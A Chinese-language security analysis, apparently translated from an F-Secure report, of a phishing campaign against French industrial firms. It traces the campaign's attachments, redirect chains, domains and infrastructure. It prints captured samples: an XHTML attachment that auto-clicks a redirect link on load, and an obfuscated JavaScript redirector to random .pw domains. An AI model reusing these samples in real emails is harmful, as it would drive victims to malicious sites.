深入剖析一场针对法国工业领域的网络钓鱼活动

网络安全公司F-Secure的研究人员在最近观察到了一场针对法国工业领域的网络钓鱼活动,目标涵盖化工制造、航空航天、汽车、银行等领域,以及软件提供商和IT服务提供商。研究人员表示,从2018年10月开始,他们捕获了多封钓鱼电子邮件。从内容和附件来看,它们均采用了相似的模板。

网络钓鱼电子邮件

钓鱼电子邮件通常涉及到一些文档,可能是附件,也可能需要通过电子邮件提供的链接来获取。对于电子邮件的正文而言,法语的使用显得非常地道,使得这些电子邮件很具说服力。

深入剖析一场针对法国工业领域的网络钓鱼活动

深入剖析一场针对法国工业领域的网络钓鱼活动

电子邮件的主题直接挪用了附件名称的前缀。附件可能是HTML文件,也可能是PDF文件。通常被命名为“document”、“ preuves ”或“ fact ”,后跟下划线和一个六位数数字,又或者直接就是一个六位数数字。以下是研究人员所观察到的一些附件名称:

  • fact_395788.xht
  • document_773280.xhtml
  • 474362.xhtml
  • 815929.htm
  • document_824250.html
  • 975677.pdf
  • 743558.pdf

以下是在11月15日活动中捕获的一个XHTML附件样本所包含的内容:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title></title>

<meta content="UTF-8" />

</head>

<body onload='document.getElementById("_y").click();'>

<h1>

<a id="_y" href="https://t[.]co/8hMB9xwq9f?540820">Lien de votre document</a>

</h1>

</body>

</html>

活动的演变

在10月初发现的第一批网络钓鱼电子邮件,包含没有经过混淆处理的payload地址。例如:

  • hxxp://piecejointe[.]pro/facture/redirect[.]php
  • hxxp://mail-server-zpqn8wcphgj[.]pw?client=XXXXXX

这些链接要么位于HTML/XHTML/HTM附件中,要么直接存在于电子邮件的正文中。另外,电子邮件所使用的附件名称大多数都是“document_[随机数].xhtml”。

到10月底,攻击者对这些payload地址进行了混淆处理。为此,攻击者使用了一个简单的Javascript。

var _0xa4d9=["\x75\x71\x76\x6B\x38\x66\x74\x75\x77\x35\x69\x74\x38\x64\x73\x67\x6C\x63\x7A\x2E\x70\x77",

"\x7A\x71\x63\x7A\x66\x6E\x32\x6E\x6E\x6D\x75\x65\x73\x68\x38\x68\x74\x79\x67\x2E\x70\x77",

"\x66\x38\x79\x33\x70\x35\x65\x65\x36\x64\x6C\x71\x72\x37\x39\x36\x33\x35\x7A\x2E\x70\x77",

"\x65\x72\x6B\x79\x67\x74\x79\x63\x6F\x6D\x34\x66\x33\x79\x61\x34\x77\x69\x71\x2E\x70\x77",

"\x65\x70\x72\x72\x39\x71\x79\x32\x39\x30\x65\x62\x65\x70\x6B\x73\x6D\x6B\x62\x2E\x70\x77",

"\x37\x62\x32\x64\x75\x74\x62\x37\x76\x39\x34\x31\x34\x66\x6E\x68\x70\x36\x63\x2E\x70\x77",

"\x64\x69\x6D\x76\x72\x78\x36\x30\x72\x64\x6E\x7A\x36\x63\x68\x6C\x77\x6B\x65\x2E\x70\x77",

"\x78\x6D\x76\x6E\x6C\x67\x6B\x69\x39\x61\x39\x39\x67\x35\x6B\x62\x67\x75\x65\x2E\x70\x77",

"\x62\x72\x75\x62\x32\x66\x77\x64\x39\x30\x64\x38\x6D\x76\x61\x70\x78\x6E\x6C\x2E\x70\x77",

"\x68\x38\x39\x38\x6A\x65\x32\x68\x74\x64\x64\x61\x69\x38\x33\x78\x63\x72\x37\x2E\x70\x77",

"\x6C\x32\x6C\x69\x69\x75\x38\x79\x64\x7A\x6D\x64\x66\x30\x31\x68\x69\x63\x72\x2E\x70\x77",

"\x63\x79\x6B\x36\x6F\x66\x6D\x75\x6E\x6C\x35\x34\x72\x36\x77\x6B\x30\x6B\x74\x2E\x70\x77",

"\x7A\x78\x70\x74\x76\x79\x6F\x64\x6A\x39\x35\x64\x77\x63\x67\x6B\x6C\x62\x77\x2E\x70\x77",

"\x35\x65\x74\x67\x33\x6B\x78\x6D\x69\x78\x67\x6C\x64\x73\x78\x73\x67\x70\x65\x2E\x70\x77",

"\x38\x35\x30\x6F\x6F\x65\x70\x6F\x6C\x73\x69\x71\x34\x6B\x71\x6F\x70\x6D\x65\x2E\x70\x77",

"\x6F\x6D\x63\x36\x75\x32\x6E\x31\x30\x68\x38\x6E\x61\x71\x72\x30\x61\x70\x68\x2E\x70\x77",

"\x63\x30\x7A\x65\x68\x62\x74\x38\x6E\x77\x67\x6F\x63\x35\x63\x6E\x66\x33\x30\x2E\x70\x77",

"\x68\x36\x6A\x70\x64\x6B\x6E\x7A\x76\x79\x63\x61\x36\x6A\x67\x33\x30\x78\x74\x2E\x70\x77",

"\x74\x64\x32\x6E\x62\x7A\x6A\x6D\x67\x6F\x36\x73\x6E\x65\x6E\x6A\x7A\x70\x72\x2E\x70\x77",

"\x6C\x69\x70\x71\x76\x77\x78\x63\x73\x63\x34\x75\x68\x6D\x6A\x36\x74\x6D\x76\x2E\x70\x77",

"\x31\x33\x72\x7A\x61\x75\x30\x69\x64\x39\x79\x76\x37\x71\x78\x37\x76\x6D\x78\x2E\x70\x77",

"\x6B\x64\x33\x37\x68\x62\x6F\x6A\x67\x6F\x65\x76\x6F\x63\x6C\x6F\x7A\x77\x66\x2E\x70\x77",

"\x66\x75\x67\x65\x39\x69\x6F\x63\x74\x6F\x38\x39\x63\x6B\x36\x7A\x62\x30\x76\x2E\x70\x77",

"\x70\x6D\x63\x35\x6B\x71\x6C\x78\x6C\x62\x6C\x78\x30\x65\x67\x74\x63\x37\x32\x2E\x70\x77",

"\x30\x71\x38\x31\x73\x73\x72\x74\x68\x69\x72\x63\x69\x62\x70\x6A\x62\x33\x38\x2E\x70\x77","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x3A\x2F\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];

var arr=[_0xa4d9[0],_0xa4d9[1],_0xa4d9[2],_0xa4d9[3],_0xa4d9[4],_0xa4d9[5],_0xa4d9[6],_0xa4d9[7],_0xa4d9[8],_0xa4d9[9],_0xa4d9[10],_0xa4d9[11],_0xa4d9[12],_0xa4d9[13],_0xa4d9[14],_0xa4d9[15],_0xa4d9[16],_0xa4d9[17],_0xa4d9[18],_0xa4d9[19],_0xa4d9[20],_0xa4d9[21],_0xa4d9[22],_0xa4d9[23],_0xa4d9[24]];

var redir=arr[Math[_0xa4d9[27]](Math[_0xa4d9[25]]()* arr[_0xa4d9[26]])];

window[_0xa4d9[30]][_0xa4d9[29]](_0xa4d9[28]+ redir)

上面这段Javascript代码被作为附件的一部分提供,用于对“[随机字符串].pw”域名进行去混淆,进而将收件人重定向到payload域名。在10月底的活动,payload域名已经被更改为了hxxp://email-document-joint[.]pro/redir/。

然而,在附件中使用Javascript代码似乎并没有取得太大的成功。因为,在仅仅过了几天之后,攻击者就移除了用于对域名进行去混淆和重定向的Javascript代码,转而使用pste.eu。pste.eu是一个类似于pastebin的HTML代码服务平台。因此,随后的钓鱼电子邮件都包含指向pste.eu的链接,如hxxps[://]pste[.]eu/p/yGqK[.]html。

在11月的活动中,研究人员再次观察到了一些变化。一些电子邮件开始包含有指向随机.pw或.site域名子域名的链接,例如:

  • hxxp://6NZX7M203U[.]p95jadah5you6bf1dpgm[.]pw
  • hxxp://J8EOPRBA7E[.]jeu0rgf5apd5337[.]site

与此同时,PDF文件也开始以附件的形式出现在网络钓鱼电子邮件中,这些PDF文件包含一个类似的指向随机.site或.website域名子域名的链接。

在几天之后的11月15日,攻击者开始使用Twitter短网址在pste.eu URL之间添加重定向。他们通过Twitter帐户发布了298个pste.eu URL,然后将这些t.co URL添加在他们的网络钓鱼电子邮件中。攻击者所使用的Twitter帐户似乎都是一些广告帐户,自2012年创建以来只有很少的动态更新,并且大多数推文和转推都与Twitter广告活动、产品或**等有关。

深入剖析一场针对法国工业领域的网络钓鱼活动

Twitter上的pste.eu链接

深入剖析一场针对法国工业领域的网络钓鱼活动

URL重定向示例

在这场活动中使用的最新链接是会导致302重定向的随机.icu域名,交付方法仍然是电子邮件中的XHTML/HTML附件或链接。另外,这场活动的发展十分迅速,攻击者在生成新域名和探索新的重定向和混淆方法方面表现得尤为活跃。在撰写本文时,payload URL会导致重定向广告,涉及到多个不同的域名和URL,而这些域和URL均包含了大量的恶意广告。

基础设施

在这场活动中,攻击者主要使用的是被其劫持的Wanadoo电子邮件帐户,以及后来使用的的自主域名电子邮件帐户(如[email protected])来发送钓鱼电子邮件。其中,子域名即是电子邮件服务器的名称,是服务器公共IP地址经过十六进制换算的结果。对于这里所举的例子而言,服务器公共IP地址是109.102.72.74。

包含在电子邮件中的链接能够将收件人重定向到多个URL,且大多数网站都托管在相同的服务器上。

在11月晚些时候,payload域名(如email-document-joint[.]pro或.pw)会将收件人重定向到诸如ffectuermoi[.]tk或eleverqualit[.]tk这样的域名。这些网站都托管在相同的服务器上,具有许多类似的域名。对这些服务器的进一步调查显示,它们长期以来就被用于托管PUP/Adware程序和恶意广告URL。

深入剖析一场针对法国工业领域的网络钓鱼活动

在ffectuermoi[.]tk上执行点击操作,收件人最终将会被重定向到 doesok[.]top。该网站不仅会展示广告,而且会利用cookie来收集用户信息。值得注意的是,托管doesok[.]top的服务器长期以来也被用于托管PUP/广告软件/恶意软件。

深入剖析一场针对法国工业领域的网络钓鱼活动

额外的发现

在调查的过程中,研究人员在Virustotal上还发现了一个从法国提交的恶意文件。该文件是一个.zip压缩文件,包含以下内容:

  • “All in One Checker”工具-一款可用于验证电子邮箱账户和密码是否有效的工具
  • .vbs dropper-用于在执行“All in One Checker”工具时将后门释放到用户系统的脚本
  • 由“All in One Checker”工具创建的文件夹-以“All in One Checker”工具执行时的当前日期和时间命名,包含几个文本文件:
    • txt-用于记录任何错误
    • txt-用于记录验证结果
    • txt- Ostatok代表的是“the rest”或“remainder”

深入剖析一场针对法国工业领域的网络钓鱼活动

.zip文件包含的内容:“03.10_17:55”是由“All in One Checker”创建的文件夹;两个.vbs是完全相同的后门dropper;剩下的是“All in One Checker”的配置文件和可执行文件。

深入剖析一场针对法国工业领域的网络钓鱼活动

“03.10_17:55”文件夹包含的内容

几乎所有包含在这些.txt文件中的电子邮件帐户都自来.fr域名,其中一个地址实际上与研究人员在10月19日的钓鱼电子邮件中看到的发件人地址完全相同。显然,这个.zip文件很可能来自上述同一伙人。